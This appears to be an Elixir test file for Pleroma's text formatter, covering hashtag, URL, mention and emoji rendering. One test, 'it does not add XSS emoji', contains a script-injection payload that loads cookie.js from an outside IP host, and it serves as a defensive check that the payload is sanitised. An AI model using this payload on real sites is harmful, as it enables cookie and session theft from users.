1 defmodule Pleroma.FormatterTest do
2 alias Pleroma.Formatter
7 describe ".add_hashtag_links" do
8 test "turns hashtags into links" do
9 text = "I love #cofe and #2hu"
12 "I love <a href='http://localhost:4001/tag/cofe' rel='tag'>#cofe</a> and <a href='http://localhost:4001/tag/2hu' rel='tag'>#2hu</a>"
14 tags = Formatter.parse_tags(text)
16 assert expected_text ==
17 Formatter.add_hashtag_links({[], text}, tags) |> Formatter.finalize()
21 describe ".add_links" do
22 test "turning urls into links" do
23 text = "Hey, check out https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla ."
26 "Hey, check out <a href=\"https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla\">https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla</a> ."
28 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
30 text = "https://mastodon.social/@lambadalambda"
33 "<a href=\"https://mastodon.social/@lambadalambda\">https://mastodon.social/@lambadalambda</a>"
35 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
37 text = "https://mastodon.social:4000/@lambadalambda"
40 "<a href=\"https://mastodon.social:4000/@lambadalambda\">https://mastodon.social:4000/@lambadalambda</a>"
42 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
44 text = "@lambadalambda"
45 expected = "@lambadalambda"
47 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
49 text = "http://www.cs.vu.nl/~ast/intel/"
50 expected = "<a href=\"http://www.cs.vu.nl/~ast/intel/\">http://www.cs.vu.nl/~ast/intel/</a>"
52 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
54 text = "https://forum.zdoom.org/viewtopic.php?f=44&t=57087"
57 "<a href=\"https://forum.zdoom.org/viewtopic.php?f=44&t=57087\">https://forum.zdoom.org/viewtopic.php?f=44&t=57087</a>"
59 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
61 text = "https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul"
64 "<a href=\"https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul\">https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul</a>"
66 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
68 text = "https://www.google.co.jp/search?q=Nasim+Aghdam"
71 "<a href=\"https://www.google.co.jp/search?q=Nasim+Aghdam\">https://www.google.co.jp/search?q=Nasim+Aghdam</a>"
73 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
75 text = "https://en.wikipedia.org/wiki/Duff's_device"
78 "<a href=\"https://en.wikipedia.org/wiki/Duff's_device\">https://en.wikipedia.org/wiki/Duff's_device</a>"
80 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
82 text = "https://pleroma.com https://pleroma.com/sucks"
85 "<a href=\"https://pleroma.com\">https://pleroma.com</a> <a href=\"https://pleroma.com/sucks\">https://pleroma.com/sucks</a>"
87 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
89 text = "xmpp:contact@hacktivis.me"
91 expected = "<a href=\"xmpp:contact@hacktivis.me\">xmpp:contact@hacktivis.me</a>"
93 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
97 describe "add_user_links" do
98 test "gives a replacement for user links" do
99 text = "@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me"
100 gsimg = insert(:user, %{nickname: "gsimg"})
104 nickname: "archaeme",
105 info: %{"source_data" => %{"url" => "https://archeme/@archaeme"}}
108 archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
110 mentions = Pleroma.Formatter.parse_mentions(text)
112 {subs, text} = Formatter.add_user_links({[], text}, mentions)
114 assert length(subs) == 3
115 Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
118 "<span><a class='mention' href='#{gsimg.ap_id}'>@<span>gsimg</span></a></span> According to <span><a class='mention' href='#{
119 "https://archeme/@archaeme"
120 }'>@<span>archaeme</span></a></span>, that is @daggsy. Also hello <span><a class='mention' href='#{
121 archaeme_remote.ap_id
122 }'>@<span>archaeme</span></a></span>"
124 assert expected_text == Formatter.finalize({subs, text})
127 test "gives a replacement for single-character local nicknames" do
129 o = insert(:user, %{nickname: "o"})
131 mentions = Formatter.parse_mentions(text)
133 {subs, text} = Formatter.add_user_links({[], text}, mentions)
135 assert length(subs) == 1
136 Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
138 expected_text = "<span><a class='mention' href='#{o.ap_id}'>@<span>o</span></a></span> hi"
139 assert expected_text == Formatter.finalize({subs, text})
142 test "does not give a replacement for single-character local nicknames who don't exist" do
145 mentions = Formatter.parse_mentions(text)
147 {subs, text} = Formatter.add_user_links({[], text}, mentions)
149 assert length(subs) == 0
150 Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
152 expected_text = "@a hi"
153 assert expected_text == Formatter.finalize({subs, text})
157 describe ".parse_tags" do
158 test "parses tags in the text" do
159 text = "Here's a #Test. Maybe these are #working or not. What about #漢字? And #は。"
163 {"#working", "working"},
168 assert Formatter.parse_tags(text) == expected
172 test "it can parse mentions and return the relevant users" do
173 text = "@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me"
175 gsimg = insert(:user, %{nickname: "gsimg"})
176 archaeme = insert(:user, %{nickname: "archaeme"})
177 archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
181 {"@archaeme", archaeme},
182 {"@archaeme@archae.me", archaeme_remote}
185 assert Formatter.parse_mentions(text) == expected_result
188 test "it adds cool emoji" do
189 text = "I love :moominmamma:"
192 "I love <img height=\"32px\" width=\"32px\" alt=\"moominmamma\" title=\"moominmamma\" src=\"/finmoji/128px/moominmamma-128.png\" />"
194 assert Formatter.emojify(text) == expected_result
197 test "it does not add XSS emoji" do
199 "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
202 "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
203 "https://placehold.it/1x1"
207 "I love <img height=\"32px\" width=\"32px\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
209 assert Formatter.emojify(text, custom_emoji) == expected_result
212 test "it returns the emoji used in the text" do
213 text = "I love :moominmamma:"
215 assert Formatter.get_emoji(text) == [{"moominmamma", "/finmoji/128px/moominmamma-128.png"}]
218 test "it returns a nice empty result when no emojis are present" do
219 text = "I love moominamma"
220 assert Formatter.get_emoji(text) == []
223 test "it doesn't die when text is absent" do
225 assert Formatter.get_emoji(text) == []